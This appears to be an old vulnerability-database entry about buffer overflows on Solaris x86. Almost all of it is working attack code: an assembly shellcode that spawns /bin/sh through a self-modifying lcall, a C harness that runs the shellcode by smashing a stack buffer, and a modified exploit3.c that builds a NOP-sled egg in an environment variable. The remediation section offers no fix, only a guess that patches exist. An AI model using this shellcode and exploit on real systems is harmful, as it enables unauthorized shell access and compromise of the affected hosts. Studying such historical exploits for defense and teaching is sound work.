COMMAND
buffer overflow
SYSTEMS AFFECTED
Solaris x86
PROBLEM
Following is Jim Bresler work. This includes the code he
assembled (it will core dump when ran diretly, because it is
self-modifying), a test program that should spawn a shell, and a
modified version of Aleph One's exploit3.c
Note that most buffer overflows are self-modifying in one part,
this changes itself in two parts. Because a long call is used and
registers cannot be used as arguments, the arguments to the lcall
should be ignored. To avoid the need to leave a null charector
in at run time, the arguments are changed at run-time.
File: solarisx86_shellcode.s
.file "solarisx86_shellcode.s"
.version "01.01"
.globl main
.type main,@function
main:
pushl %ebp
movl %esp,%ebp
subl $8,%esp
jmp .offset2
.execve:
xorl %eax,%eax
movb $0x3b,%al
jmp .do_lcall
ret
.exit:
xorl %eax,%eax
inc %eax
jmp .do_lcall
ret
.lcall_off1:
popl %esi
xorl %ebx,%ebx
movl %ebx,1(%esi)
movb $0x07,5(%esi)
movb %bh,6(%esi)
jmp .lcall_ins
.do_lcall:
call .lcall_off1
.lcall_ins:
lcall $0x0f0f,$0xffffffff
ret
.offset1:
popl %esi
xorl %eax,%eax
movl %esi,0x8(%esi)
movb %al,0x7(%esi)
movl %eax,0xc(%esi)
pushl %eax
leal 0x8(%esi),%eax
pushl %eax
movl 0x8(%esi),%eax
pushl %eax
call .execve
addl $12,%esp
pushl $0x1
call .exit
addl $4,%esp
.offset2:
call .offset1
.string "/bin/sh"
File: test_sc.c
char shellcode[] =
"\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3"
"\x33\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05"
"\x07\x88\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff"
"\xff\x0f\x0f\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46"
"\x0c\x50\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff"
"\x83\xc4\x0c\x6a\x01\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4"
"\xff\xff\xff/bin/sh";
char large_string[256];
void main(void)
{
char buffer[192];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 64; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer, large_string);
}
File: exploit3.c
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3"
"\x33\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05"
"\x07\x88\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff"
"\xff\x0f\x0f\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46"
"\x0c\x50\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff"
"\x83\xc4\x0c\x6a\x01\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4"
"\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/usr/local/bin/bash");
}
SOLUTION
Wouldn't know, but since this is old I guess patches are out.